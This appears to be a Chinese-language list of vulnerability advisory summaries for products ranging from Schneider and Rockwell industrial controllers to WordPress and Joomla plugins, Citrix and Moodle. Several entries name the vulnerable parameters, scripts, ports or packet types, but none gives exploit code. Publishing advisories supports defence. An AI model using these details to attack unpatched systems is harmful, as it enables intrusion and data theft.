SEL-2032 Communications Processor是一款施耐德公司使用的通信处理器。SEL-2032 Communications Processor SCADA远程终端单元使用明文协议进行密码验证，另外攻击者可通过telnet和端口1024/TCP使服务程序崩溃。攻击者可以利用漏洞对服务进行拒绝服务攻击或获得敏感信息绕过安全限制进行访问。
Schneider Electric Modicon Quantum是自动化控制平台，拥有全系列完整的处理器，适用于复杂的过程控制与基础设施。Schneider Electric Modicon Quantum存在多个安全漏洞，包括：（1）在Unity软件和PLC之间通信无需验证，允许攻击者进行拒绝服务和远程代码执行攻击。（2）存在后门账户，允许以用户或管理员权限访问系统。（3）HTTP服务器存在缓冲区溢出，远程攻击者可以利用漏洞进行拒绝服务攻击。（4）FTP服务器存在缓冲区溢出，远程攻击者可以利用漏洞进行拒绝服务攻击。（5）另外还存在一个跨站脚本攻击。
Rockwell Automation Controllogix存在输入验证攻击，允许攻击者提交畸形请求使应用程序崩溃，需物理重启动获得正常功能。
aws是一个开源的http协议Ada库, 实现了web server及web client。当哈希表单POST和更新哈希表时哈希生成函数存在错误，远程攻击者构建特制的表单，通过HTTP POST请求发送，可引起哈希碰撞导致百分百CPU利用率，造成拒绝服务攻击。攻击者可以发送很少的数据使AWS消耗大量CPU，使服务崩溃。
Gitorious是一个网站托管的开源协作项目使用Git的分布式版本控制系统的名称.Gitorious存在一个命令执行漏洞，由于它没有校验用户提供的输入。成功利用漏洞将允许攻击者执行任意代码。
PDF-XChange Viewer是一款PDF阅读软件。PDF-XChange pdfSaver ActiveX控件存在缓冲区溢出问题，远程攻击者可以构建恶意WEB页，诱使用户解析，以应用程序上下文执行任意代码。
OSClass是一个基于PHP MySQL开发，用于创建和管理分类广告网站的开源系统。OSClass存在多个安全漏洞，包括搜索页面中存在跨站脚本漏洞，搜索页面中存在SQL注入和oc-admin中执行AJAX请求(需要以admin登录)等。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress的uCan Post插件存在HTML注入漏洞，由于程序对用户提供的输入未进行充分的过滤。攻击者提供的HTML和脚本代码可以在受影响站点的上下文中执行，可能允许攻击者窃取基于cookie的认证证书或者控制网站传达给用户的方式，也可能执行其他的攻击。uCan Post 1.0.09版本中存在该漏洞，其他版本也可能受到影响。
PostNuke是一款类似PHP-Nuke的PHP语言编写流行的系统构建程序，可以运行在Unix和Linux操作系统下。PostNuke pnAddressbook模块存在SQL注入漏洞。由于应用程序在被用于SQL查询之前未进行充分过滤，攻击者可以利用漏洞操控应用程序，访问或修改数据，或者在底层数据库中利用该漏洞。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress的NextGEN Gallery插件存在多个HTML注入漏洞，由于程序对用户提供的输入未经正确过滤。攻击者提供的HTML和脚本代码可在受影响站点的上下文中执行，可能允许攻击者窃取基于cookie的认证证书或者控制网站传达给用户的方式，也可能执行其他的攻击。
Vastal EzineShops存在SQL注入漏洞，由于程序对用户提供的数据在用于SQL查询前未进行充分的过滤。攻击者可利用该漏洞操控应用程序，访问或修改数据，或者在底层数据库中利用潜在的漏洞。
Cloupia提供端到端的FlexPod配置，管理，自动化解决方案。FlexPod存在文件泄露漏洞。由于程序未能充分验证用户提供的输入，该攻击者可以利用漏洞在受影响应用程序的计算机上的文件中获得潜在的敏感信息，这将有助于进一步的攻击。
Citrix Provisioning Services能够创建一套使用流技术传输物理和虚拟服务器的镜像，从而降低存储需求，实现快速、一致而可靠的应用部署。Citrix Provisioning Services的streamprocess.exe组件在实现上存在安全漏洞，远程攻击者可通过此漏洞以系统级用户执行任意代码。此漏洞无需验证即可利用。streamprocess.exe组件默认在UDP多个端口上监听，在处理vDisk名称请求的报文时，没有正确验证用户提供的长度值。
Citrix Provisioning Services能够创建一套使用流技术传输物理和虚拟服务器的镜像，从而降低存储需求，实现快速、一致而可靠的应用部署。Citrix Provisioning Services的streamprocess.exe组件在实现上存在安全漏洞，远程攻击者可通过此漏洞以系统级用户执行任意代码。此漏洞无需验证即可利用。streamprocess.exe组件默认在UDP端口6095上监听，在处理0x40020000类型报文时，进程错误地将用户提供的数据复制到大小固定的栈缓冲区中。
Citrix Provisioning Services能够创建一套使用流技术传输物理和虚拟服务器的镜像，从而降低存储需求，实现快速、一致而可靠的应用部署。Citrix Provisioning Services的streamprocess.exe组件在实现上存在安全漏洞，远程攻击者可通过此漏洞以系统级用户执行任意代码。此漏洞无需验证即可利用。streamprocess.exe组件默认在UDP端口6095上监听，在处理0x40020006类型报文时，进程错误地将用户提供的数据复制到大小固定的栈缓冲区中。
vBSEO是领先vBulletin的SEO插件。vBSEO存在远程代码执行漏洞。成功利用漏洞将允许攻击者执行任意代码。
EasyPage是一款Windows平台下的监控网页情况的软件。EasyPage存在SQL注入漏洞，由于程序未能对SQL查询中用户提交的数据做充分的验证。利漏洞可能允许攻击者访问或修改数据，或利用底层数据库中潜在的漏洞。
Giveaway Manager存在跨站脚本漏洞，由于程序对用户提供的数据未能充分过滤。攻击者可利用该漏洞在受影响站点上下文的不知情用户浏览器上执行任意脚本代码，窃取基于cookie的认证证书，进而发起其他攻击。
ARASTAR Portal System存在HTML注入漏洞，由于程序对用户提供的数据未能充分过滤，攻击者可以利用漏洞在受影响浏览器的上下文中运行HTML和脚本代码，窃取基于cookie的认证证书或者控制网站如何呈现给用户。
Joomla! 是一款开放源码的内容管理系统(CMS)。Joomla! com_discussions组件中存在SQL注入漏洞，由于程序对用户提供的数据在用于SQL查询前未能充分过滤。攻击者可利用该漏洞控制应用程序，访问或修改数据，或者在底层数据库中利用该漏洞。
Toner Cart存在SQL注入漏洞，由于对用户提供的数据在用于SQL查询前未能充分过滤，攻击者可利用该漏洞控制应用程序，访问或修改数据，或者在底层数据库中利用该漏洞。
MMORPG Zone存在SQL注入漏洞，由于程序对用户提供的数据在用于SQL查询之前未能充分过滤。攻击者可利用该漏洞控制应用程序，访问或修改数据，或者在底层数据库中利用该漏洞。
Freelance Zone存在SQL注入漏洞，由于程序对用户提供的数据在用于SQL查询前未能充分过滤。攻击者可利用该漏洞控制应用程序，访问或修改数据，或者在底层数据库中利用该漏洞。
Mag Zone存在SQL注入漏洞，由于程序对用户提供的数据在被使用于SQL查询之前未能充分过滤，攻击者可利用该漏洞控制应用程序，访问或修改数据，或在底层数据库中利用该漏洞。
WordPress是一种使用PHP语言开发的博客平台。WordPress My Calendar插件存在多个跨站脚本漏洞，由于应用程序对用户提供的输入未能正确过滤，攻击者可利用该漏洞在受影响站点上下文的不知情用户浏览器上执行任意脚本代码，窃取基于cookie的认证证书进而发起其他攻击。
PhpBridges存在SQL注入漏洞，由于程序对用户提供的数据在用于SQL查询之前未能正确过滤，攻击者可利用该漏洞控制应用程序，访问或修改数据，或者在底层数据库中利用该漏洞。
PhpBridges是一款编写博客系统的框架生成软件。PhpBridges博客系统members.php容易产生SQL注入漏洞，攻击者可以利用这个问题在受影响的机器上执行任意代码，达到攻击的目的。            远程攻击者成功利用此漏洞可执行任意代码，如果利用失败可能引起拒绝服务。
pGB 2.12 kommentar.php 容易产生SQL注入漏洞。攻击者可以利用这个问题在受影响的机器上执行任意代码，达到攻击的目的。            远程攻击者成功利用此漏洞可执行任意代码，如果利用失败可能引起拒绝服务。
Microsoft Office 2003是微软公司针对 Windows操作系统所推出的办公室套装软件。Microsoft Office 2003 Home/Pro容易产生安全漏洞，攻击者可以利用这个问题在受影响的机器上执行任意代码，达到攻击的目的。            远程攻击者成功利用此漏洞可执行任意代码，如果利用失败可能引起拒绝服务。
deV!L`z Clanportal容易产生SQL注入漏洞，攻击者可以利用这个问题在受影响的机器上执行任意代码，达到攻击的目的。远程攻击者成功利用此漏洞可执行任意代码，如果利用失败可能引起拒绝服务。
Blade API Monitor是一个有用的开发间谍工具，它可以跟踪和记录的API和ActiveX带参数的接口。Blade API Monitor的 Unicode容易产生堆栈缓冲区溢出漏洞。攻击者可以利用这个问题在受影响的机器上执行任意代码，达到攻击的目的。            远程攻击者成功利用此漏洞可执行任意代码，如果利用失败可能引起拒绝服务。
Sysax Multi Server是一款windows平台下的SSH2和FTP服务器。Sysax Multi Server不正确处理用户提交的'Content-Disposition'字段，远程攻击者可以利用漏洞进行缓冲区溢出攻击，可以应用程序上下文执行任意代码。
BS.Player是一款面向全球多媒体市场的免费媒体电影播放器产品，支持所有常见视频格式，并且不需要任何插件就可以完美支持当下流行的各种字幕文件，包括sub、idx、ssa、srt、txt等，并且支持自动搜索匹配字幕下载。BS.Player容易产生缓冲区溢出漏洞，攻击者可以利用这个问题在受影响的机器上执行任意代码，达到攻击的目的。            远程攻击者成功利用此漏洞可执行任意代码，如果利用失败可能引起拒绝服务。
Joomla!是一款开放源码的内容管理系统（CMS）。Joomla! Discussions组件存在SQL注入漏洞，由于通过"catid"参数传递到index.php (当"option"设置为"com_discussions"和"view"设置为"thread")在被用于SQL查询前未能正确过滤，攻击者可以利用漏洞通过注入任意SQL代码操纵SQL查询。
IBM WebSphere Application Server (WAS)是由IBM遵照开放标准，例如Java EE, XML 还有Web Services，开发并发行的一种应用服务器。当哈希表单POST和更新哈希表时哈希生成函数存在错误，远程攻击者构建特制的表单，通过HTTP POST请求发送，可引起哈希碰撞导致百分之百CPU利用率，造成拒绝服务攻击。攻击者可以发送很少的数据使IBM WebSphere Application Server消耗大量CPU，使服务崩溃。
spamdyke是一个qmail的插件用来执行连接时的黑名单、灰名单、DNS RBL/ RHSBL检查、发送者MX检查等等的功能。不正确使用"snprintf()"和"vsnprintf()"函数可导致边界错误，攻击者可以利用漏洞进行缓冲区溢出攻击。成功利用漏洞可以以应用程序上下文执行任意代码。
SonicWALL AntiSpam和EMail Security是一款综合反垃圾邮件解决方案。SonicWALL AntiSpam和EMail Security mgmtuser_delegate.html没有正确过滤通过"selectedUser"参数传递的输入，可导致注入任意HTML和脚本代码。
SonicWALL AntiSpam和EMail Security是一款综合反垃圾邮件解决方案。SonicWALL AntiSpam和EMail Security传递给reports_mta_queue_status.html脚本的"hostname"参数和msg_viewer_user_mail.htm的"direction"参数的输入在返回用户之前缺少过滤，可导致跨站脚本攻击。
Rockwell Automation是工业自动化，控制和信息技术解决方案供应商。Rockwell Automation FactoryTalk Activation Server RNADiagReceiver存在非法内存访问问题可导致服务器崩溃。
Rockwell Automation是工业自动化，控制和信息技术解决方案供应商。Rockwell Automation FactoryTalk Activation Server RNADiagReceiver处理数据包时存在错误，提交包含超过2000字节的数据包到UDP 4445端口可导致不能提供后续连接。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress myEASYbackup插件存在文件泄露漏洞，由于传递到wp-content/plugins/myeasybackup/meb_download.php中"dwn_file" POST参数的输入在被用于显示文件前未能正确验证，攻击者可以利用漏洞通过目录遍历泄露任意文件内容。
Moodle是一款开放源代码的网络教学应用程序。Moodle课程自我注册(course self-enrolment)功能存在错误，可被利用注册为管理员。
Moodle是一款开放源代码的网络教学应用程序。Moodle应用程序存在一个错误，没有对删除用户会话进行正确的作废操作，可被利用绕过验证机制。
Moodle是一款开放源代码的网络教学应用程序。Moodle传递给未明参数的输入在用于构建Email消息之前缺少够率，可被利用注入任意Email头。
金和软件IOAS由于未能对用户会话管理进行严格限制，导致可以通过相关页面或设置参数对未授权信息进行访问。
Apache Struts是一款建立Java web应用程序的开放源代码架构。Apache Struts存在安全漏洞，应用程序在开发模式下运行或使用Struts DebuggingInterceptor易造成远程代码执行。
w-CMS容易产生多个安全漏洞，攻击者可以利用这个问题在受影响的机器上执行任意代码达到攻击的目的。
Novell Netware是一款商业性质的网络操作系统。Novell Netware XNFS caller_name xdrDecodeString存在远程执行代码漏洞。这是由于当处理NFS RPC请求时使用的xnfs.nlm组件存在错误。该进程监听在UDP 32779端口。当解码NLM_TEST程序请求的xdr编码的caller_name时，该进程会使用用户提供的长度作用栈缓存区拷贝的范围边界，引起边界检查错误。攻击者可利用此漏洞在受影响系统中执行任意代码，或拒绝为合法用户服务。
vBulletin是一款基于PHP的应用程序。vBulletin blog_post.php脚本不正确检查权限，远程攻击者可以利用漏洞张贴博客日志。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress Connections插件存在未明漏洞，目前没有详细细节提供。
PHP是一款免费开放源代码的WEB脚本语言包，可使用在Microsoft Windows、Linux和Unix操作系统下。PHP Membership Site Manager Script存在跨站脚本漏洞。由于应用程序在被用于动态生成内容前未经正确过滤该用户提供的输入，攻击者可以利用漏洞在受影响站点上下文的信任用户浏览器上执行任意脚本代码，窃取基于cookie的认证证书并发起其他攻击。
BoltWire存在多个跨站脚本漏洞。由于程序对用户提供的输入未能正确过滤。攻击者可利用这些漏洞在受影响站点上下文中的不知情用户浏览器上执行任意脚本代码，窃取基于cookie的认证证书进而发起其他攻击。
PHPDomainRegister中存在多个跨站脚本漏洞和SQL注入漏洞，由于程序对用户提供的数据未能充分过滤。攻击者可利用该漏洞窃取基于cookie的认证证书，控制应用程序，访问或修改数据，或者在底层数据库中利用该漏洞。
Drupal是一个开源的内容管理系统(CMS) 平台。Drupal Supercron模块存在跨站脚本漏洞。由于程序未能正确过滤用户提供的输入，攻击者可利用此漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的认证证书并发起其他攻击。
Joomla!是一款开放源码的内容管理系统（CMS）。Joomla! HD Video Share组件SQL注入漏洞，由于通过"id"参数传递到index.php的输入 (当"option"设置为"com_contushdvideoshare"和"view"设置为"player")在被用于SQL查询前未能正确过滤，攻击者可以利用漏洞通过注入任意SQL代码操纵SQL查询。
ATutor是一个开源基于Web的学习管理系统(LCMS)。ATutor存在多个跨站脚本漏洞。由于应用程序在被用于动态生成的内容之前未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的浏览器上下文中执行任意脚本代码，允许攻击者窃取基于Cookie的身份验证凭据并控制网站是如何呈现给用户。
Apigee Facebook API存在跨站脚本漏洞，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
phpVideoPro是一个基于Web的视频管理系统，基于PHP和MySQL或者PostgreSQL开发的。phpVideoPro存在跨站脚本漏洞。由于程序未能正确过滤用户提供的输入，攻击者可利用此漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的认证证书并发起其他攻击。
WebTitan Appliance存在HTML注入漏洞。由于程序未能正确过滤用户提供的输入，攻击者可以利用漏洞在受影响的站点上下文中执行HTML和脚本代码，允许攻击者窃取基于Cookie的身份验证凭据并控制的网站是如何呈现给用户。
Giveaway Manager存在跨站脚本漏洞，由于传递到members.php中"id"参数的输入，在返回用户前未能正确过滤，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
Zimbra Desktop是一款桌面邮件管理程序。Zimbra Desktop v7.1.2存在多个输入验证漏洞(持久型)，本地攻击者可以包含恶意脚本代码操作客户/管理员请求。漏洞允许本地特权攻击者通过持久型脚本代码注入操作应用程序，也可能在应用程序端执行持久型脚本代码劫持客户会话。成功利用漏洞也可以导致context/module请求操作，执行持久型恶意脚本代码，会话劫持(账户窃取)或应用程序端邮箱钓鱼攻击。
Jenkins是一款Java平台的开源持续集成（Continuous Integration，CI）引擎。当哈希表单POST和更新哈希表时哈希生成函数存在错误，远程攻击者构建特制的表单，通过HTTP POST请求发送，可引起哈希碰撞导致百分之百CPU利用率，造成拒绝服务攻击。攻击者可以发送很少的数据使Jenkins消耗大量CPU，使服务崩溃。
IrfanView JPEG-2000插件允许IrfanView读和写JPEG 2000文件。当处理量化预设值(Quantization Default (QCD))标记段时JPEG2000插件存在错误，通过构建特制的JPEG2000 (JP2)文件，诱使用户解析，可触发基于栈的缓冲区溢出。成功利用漏洞可以以应用程序上下文执行任意代码。
Cloupia提供端到端的FlexPod配置，管理，自动化解决方案。Cloupia End-To-End FlexPod management存在目录遍历漏洞，jQuery File Tree是一个可配置的Ajax文件浏览器jQuery插件。未验证访问此模块允许远程攻击者浏览宿主服务器上的整个文件系统。
Advanced Digital Broadcast是一家提供数字电视系统与互动电视软件解决方案的提供商。Advanced Digital Broadcast数字卫星电视平台存在多个未明安全漏洞，成功利用漏洞允许攻击者控制受影响设备或进行其他攻击。如下供应商受漏洞影响：Onet.pl S.A STMicroelectronics ITI Neovision Conax AS DreamLab Onet.pl S.
Drupal是一款开放源码的内容管理平台。Drupal Date存在SQL注入漏洞。由于应用程序在被用于SQL查询前未能充分过滤用户提供的数据，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库实现潜在的漏洞。
PHP是一款流行的脚本编程语言。PHP Ringtone Website存在跨站脚本漏洞。由于程序未能充分过滤用户提供的数据，攻击者可以利用漏洞在受影响的站点上下文执行任意脚本代码，允许攻击者窃取基于Cookie的身份验证凭据并并发动其他攻击。
Tine是一个基于Web的群件解决方案，侧重于实用性和正确性。Tine存在多个HTML注入漏洞。由于应用程序在被用于动态生成内容前未经正确过滤提供的输入，攻击者可以利用漏洞者在受影响浏览器的上下文中运行提供的HTML和脚本代码，窃取基于cookie的认证证书并控制网站是如何呈现给用户。
Pragyan CMS中存在任意文件上传漏洞，由于应用程序对用户提供的输入未经正确过滤。攻击者可利用该漏洞在受影响的电脑中上传任意文件，在受影响应用程序的上下文中执行任意代码。Pragyan CMS 2.6.1版本中存在该漏洞，其他版本中也可能受到影响。
Contus Job Portal存在SQL注入漏洞。由于应用程序在被用于SQL查询使用前未能充分过滤用户提供的数据，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
Gregarius是基于php的RSS聚合器，可以将所设定的源聚合在一起，以HTML或者XML方式输出。Gregarius存在SQL注入漏洞。由于程序未能充分过滤用户提供的数据，攻击者可以利用漏洞窃取基于Cookie的身份验证凭据。
Gregarius是基于php的RSS聚合器，可以将所设定的源聚合在一起，以HTML或者XML方式输出。Gregarius存在SQL注入漏洞。由于程序未能充分过滤用户提供的数据，攻击者可以利用漏洞危及应用程序，访问或修改数据，或利用底层数据库中潜在的漏洞。
IBM WebSphere Application Server (WAS)是由IBM遵照开放标准，例如Java EE, XML 还有Web Services，开发并发行的一种应用服务器。IBM WebSphere Application Server for z/OS以JAX-RPC SW-Security装载类时存在WSEC5007E错误。
IBM WebSphere Application Server (WAS)是由IBM遵照开放标准，例如Java EE, XML 还有Web Services，开发并发行的一种应用服务器。IBM WebSphere Application Server for z/OS传递给WEB消息组件的未明输入在返回用户之前缺少过滤，可导致跨站脚本攻击，可获得敏感信息或劫持用户会话。
Eudora WorldMail是一款邮件管理服务程序。Eudora WorldMail imapd不正确处理'LIST'命令，远程攻击者可以利用漏洞提交恶意请求触发缓冲区溢出，成功利用漏洞可以以应用程序上下文执行任意代码。
Atmail Email Server是一款Email服务程序。@Mail Server通过range和index值传递的输入在用于日志搜索功能之前缺少正确过滤，可导致跨站脚本攻击。
Atmail Email Server是一款Email服务程序。@Mail Server通过"UserFirstName"和"UserLastName"参数传递给index.php/admin/users/create或index.php/admin/users/update脚本的参数在使用之前缺少过滤，可导致跨站脚本攻击。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件WP-AutoYoutube存在SQL注入漏洞，由于程序对用户提供的数据在用于SQL查询前未经充分过滤。攻击者可利用这些漏洞操控应用程序，访问或修改数据，或者在底层数据库中利用该漏洞。WordPress WP-AutoYoutube 0.1版本中存在该漏洞，其他版本也可能受影响。
Chromium是开源Web浏览器项目。V8是Google的开源JavaScript引擎。Chromium V8引擎在实现上存在多个漏洞。攻击者通过引诱用户打开特制站点或使用Chromium或V8的JavaScript程序，造成以当前用户权限执行任意代码或拒绝服务。
McAfee Relay Server产品在安装后监听了一个开放连接的代理，攻击者可利用这个问题获取敏感信息或执行非授权操作。
Atmail是商业化Linux消息传送平台提供者。Atmail Webmail Client将用户提供的输入用作动态内容之前没有正确过滤，在实现上存在多个HTML注入漏洞。成功利用可允许攻击者在受影响站点的用户浏览器中执行任意HTML和脚本代码，窃取Cookie身份验证凭证或控制站点外观。
FFmpeg是一款用于录制、转换和流化音频和视频的完整解决方案。FFmpeg在实现上存在安全漏洞，远程攻击者可利用这些漏洞以当前用户权限执行任意代码，造成拒绝服务。
CommonSense CMS是一款内容管理系统。CommonSense CMS脚本存在SQL盲注漏洞，这是由于'special.php'、'article.php'和'cat2.php'脚本中没有对id参数的用户输入进行严格地过滤，导致了SQL盲注攻击。攻击者利用此漏洞获取敏感信息。
PhpMyDirectory是一款可以使网页访问者获取其所要查找的信息的工具。PhpMyDirectory存在SQL注入漏洞，这是由于page.php脚本中没有对id参数的用户输入进行严格地过滤，导致了SQL注入攻击。攻击者利用此漏洞获取敏感信息。
McAfee Security-as-a-Service是一款安全即服务产品。myCIOScn.dll. MyCioScan.Scan.ShowReport()存在安全漏洞，会没有进行任何验证的情况下接收命令传递给函数并直接执行，借助此问题攻击者可以以浏览器上下文执行任意代码。
ImpressCMS是一款数据库(MySQL)驱动，模块化的内容管理系统。 ImpressCMS存在安全漏洞，由于通过"icmsConfigPlugins[sanitizer_plugins]" GET参数传递到edituser.php的输入在被用于包含本地文件前未能正确验证，攻击者可以利用漏洞目录遍历序列和URL编码NULL字节包含本地文件。
GreenBrowser是一款基于IE内核的浏览器。GreenBrowser定义快捷按钮F6用于搜索当前WEB页的内容(包括iframe中的内容)。对包含iframe指向flash或者XML的WEB页按F6之后，GreenBrowser会调用ieframe.dll!CFindEngine::DisconnectDocument然后调用mshtml.dll!CDocument::PrivateRelease。当页面刷新或关闭时，GreenBrowser会调用mshtml.dll!CDocument::PrivateRelease再次释放iframe对象，由于CDocument对象已经释放过一次，其他的CDocument::PrivateRelease会使用释放后的内存作为虚函数表，可导致任意代码执行。
ImpressCMS是一款数据库(MySQL)驱动，模块化的内容管理系统。 ImpressCMS存在安全漏洞，由于追加到/modules/content/admin/content.php之后URL的输入在返回用户前未能正确过滤，攻击者可以利用漏洞在受影响站点上下文的管理员浏览器会话中执行任意HTML和脚本代码。
tinyguestbook存在SQL注入漏洞。由于通过输入"name"和"msg" POST参数(当"post" 设置为"submit"和"code"正确设置)的输入在SQL查询使用前未能正确过滤，攻击者可以利用漏洞通过注入任意SQL代码来操纵SQL查询。
ImpressCMS是一款数据库(MySQL)驱动，模块化的内容管理系统。 ImpressCMS存在安全漏洞，由于追加到/modules/system/admin/images/browser.php之后URL的输入在返回用户前未能正确过滤，攻击者可以利用漏洞在受影响站点上下文的管理员浏览器会话中执行任意HTML和脚本代码。
ImpressCMS是一款数据库(MySQL)驱动，模块化的内容管理系统。 ImpressCMS存在安全漏洞，由于追加到notifications.php之后URL的输入在返回用户前未能正确过滤，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
tinyguestbook存在脚本插入漏洞。由于输入'msg' 参数以sign.php通过签署留言在被使用前未能正确过滤，当恶意数据正在查看时，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
StatIt存在跨站脚本漏洞。由于程序未能充分过滤用户提供的数据，攻击者可利用此漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的认证证书并发起其他攻击。
Pragyan CMS中存在远程文件泄露漏洞，由于程序对用户提供的输入未经正确过滤。攻击者可利用该漏洞在web服务器进程上下文中浏览本地文件，这可能有助于进一步的攻击。Pragyan CMS 3.0版本中存在该漏洞，其他版本中也可能受到影响。
WordPress是一款使用PHP语言开发的内容管理系统。WordPress插件Age Verification存在URL重定向漏洞。由于程序未能正确过滤用户提供的输入，攻击者可利用漏洞导致钓鱼式攻击，也可能存在其他攻击。
X3 CMS中存在多个跨站脚本漏洞，由于程序对用户提供的输入未经正确过滤。攻击者可利用该漏洞在受影响站点上下文的不知情用户浏览器上执行任意脚本代码，盗取基于cookie的认证证书进而发起其它攻击。X3 CMS 0.4.3.1-STABLE版本存在这些漏洞，其它版本也可能受到影响。
Marinet CMS中存在多个SQL注入漏洞，由于应用程序对用户提供的数据在被用于SQL查询之前未能充分过滤。攻击者可利用这些漏洞操控应用程序，访问或修改数据，或者在底层数据库中利用该漏洞。
Wireshark是一款开放源代码的网络协议分析工具。Wireshark RLC解析器存在溢出漏洞，可导致应用程序崩溃。
Wireshark是一款开放源代码的网络协议分析工具。Wireshark存在多个安全漏洞，Wireshark显示报文信息时不正确处理空指针，可导致应用程序崩溃。
Wireshark是一款开放源代码的网络协议分析工具。Wireshark存在安全漏洞，Wireshark未正确检查多个包文件格式的记录大小，构建恶意包跟踪文件诱使用户读取可导致应用程序崩溃。
TFTP Server是一款TFTP服务程序。TFTP Server不正确处理读请求，远程攻击者可以利用漏洞提交恶意请求触发缓冲区溢出，成功利用漏洞可以以应用程序上下文执行任意代码。
Linux是一款开源的操作系统。Linux内核存在安全漏洞，允许恶意本地用户进行拒绝服务或特权提升攻击。"drm_mode_dirtyfb_ioctl()"函数(drivers/gpu/drm/crm_crtc.c)存在整数溢出错误，可被利用通过发送特制IOCTLs触发内存破坏。
ExpressView浏览器插件可用于在WEB浏览器中查看MrSID和JPEG 2000图像。ExpressView浏览器插件处理Seamless Image Database (SID)文件时存在错误，可被利用装载非初始化对象指针用于虚函数调用。
ExpressView浏览器插件可用于在WEB浏览器中查看MrSID和JPEG 2000图像。ExpressView浏览器插件处理Seamless Image Database (SID)文件时分配内存存在整数溢出错误，构建特制文件可触发基于堆的缓冲区溢出。
Cogent DataHub是SCADA和自动化领域的软件。由Cogent Real-Time Systems Inc提供的Cogent DataHub存在一个HTTP头注入漏洞，远程攻击者可向受影响系统发送特制HTTP头，伪造显示在用户WEB浏览器上的信息或进行HTTP应答分片攻击。
Sumatra PDF是一款开源的pdf阅读器。"fz_crash_abort()"存在漏洞会尝试向一个攻击者可控的地址写NULL字节，攻击者可以构建特制PDF文件，诱使用户打开，触发内存破坏。
Simple Mail Server是一款C#编写的邮件服务器。Simple Mail Server存在安全漏洞，允许攻击者使用普通的TCP客户端(如telnet)，无需密码发送邮件，并且没有SMTP验证控制器。
IBM WebSphere Application Server Community Edition一款基于Apache Geronimo技术的轻量级Java EE应用服务器。IBM WebSphere Application Server Community Edition Tomcat container存在未明错误，允许远程攻击者发送包含多个参数的请求进行拒绝攻击。
HP PKI ActiveX控件存在安全漏洞，允许恶意用户进行拒绝服务攻击。控件使用的不安全"KillProcess()"方法允许通过提供部分或全部进程名作为参数结束任意用户进程。攻击者可以利用此漏洞进行拒绝服务攻击。
Hitachi IT Operation用于系统管理。Hitachi IT Operation多个产品存在跨站脚本攻击，远程攻击者可以利用漏洞获得敏感信息或劫持用户会话。
dl Download Ticket Service是一款文件交换服务。dl Download Ticket Service内部验证机制存在错误，提供授权头可以任意用户上下文登录。
Drupal是一款开放源码的内容管理平台。Drupal Lingotek模块存在HTML注入漏洞。攻击者可以利用漏洞在受影响的浏览器上下文中执行HTML和脚本代码，允许攻击者窃取基于Cookie的身份验证凭据并控制的网站是如何呈现给用户。
GraphicsClone Script存在跨站脚本漏洞。由于通过"term"参数传递到搜索的输入在被返回用户前未能正确过滤，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
Rapidleech存在跨站脚本漏洞。由于通过"notes"POST参数传递到notes.php的输入在被返回用户前未能正确过滤，当恶意数据正在查看时，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
Rapidleech存在跨站脚本漏洞。由于传递audl.php 中"links"参数(当 "GO" 设置为"GO") 的输入在被返回用户前未能正确过滤，攻击者可以利用漏洞在受影响站点上下文的用户浏览器会话中执行任意HTML和脚本代码。
DIGIT CMS存在跨站脚本漏洞和SQL注入漏洞。由于应用程序未能正确过滤用户提供的输入，攻击者可以利用漏洞获取基于cookie的认证证书，控制应用程序，访问或修改数据，或者在底层数据库中利用该漏洞。
ClipBucket中存在多个SQL注入漏洞和多个跨站脚本漏洞。由于应用程序未能正确过滤用户提供的数据，攻击者可利用漏洞获取基于cookie的认证证书，操控应用程序，访问或修改数据，或者在底层数据库中利用该漏洞。
Enigma2存在信息泄露漏洞。由于应用程序未能充分过滤用户提供的数据，攻击者可利用漏洞在web服务进程上下文中下载本地文件，获取敏感信息，也可能执行其他的攻击。
Ggb Guestbook存在跨站脚本漏洞。由于程序未能正确过滤用户提供的输入，攻击者可利用此漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的认证证书并发起其他攻击。
vbDrupal是一款免费的PHP类的CMS程序。VBDrupal存在跨站脚本漏洞。由于程序未能正确过滤用户提供的输入，攻击者可利用此漏洞在受影响的站点上下文的信任用户浏览器中执行任意脚本代码，窃取基于cookie的认证证书并发起其他攻击。
AirTies Air是一款机顶盒设备。AirTies Air '/cgi-bin/loader'脚本不正确处理GET请求，远程攻击者可以提交恶意请求使设备重新启动。
IBM Cognos TM1 Executive Viewer经营决策程序可提供进阶分析和报表制作功能。IBM Cognos TM1 Executive Viewer存在安全漏洞，部分传递给aspnet_client/的未明输入在返回用户之前缺少正确过滤，可导致跨站脚本攻击。
IBM Cognos TM1 Executive Viewer经营决策程序可提供进阶分析和报表制作功能。IBM Cognos TM1 Executive Viewer存在安全漏洞，部分传递给evserver/createcontrol.js的未明输入在返回用户之前缺少正确过滤，可导致跨站脚本攻击。
M-Player是一款媒体播放程序。M-Player不正确处理'.mp3'文件，攻击者可以构建恶意文件，诱使用户解析，使应用程序崩溃。
OpenTTD是一款Microprose发行的运输大亨豪华版(TTD)的开源版。OpenTTD存在安全漏洞，允许恶意用户进行拒绝服务攻击。当处理新用户连接请求时"pause on join功能实现存在错误，可通过非常慢的读取应答消耗部分资源，阻止其他后续用户连接游戏服务器。
SAPID CMS是一款内容管理系统。SAPID CMS包含的'/usr/extensions/get_tree.inc.php'和'/usr/extensions/get_infochannel.inc.php'脚本不正确过滤用户提交的输入，远程攻击者可以利用漏洞包含远程服务器上的任意文件，导致以WEB权限执行任意PHP代码。
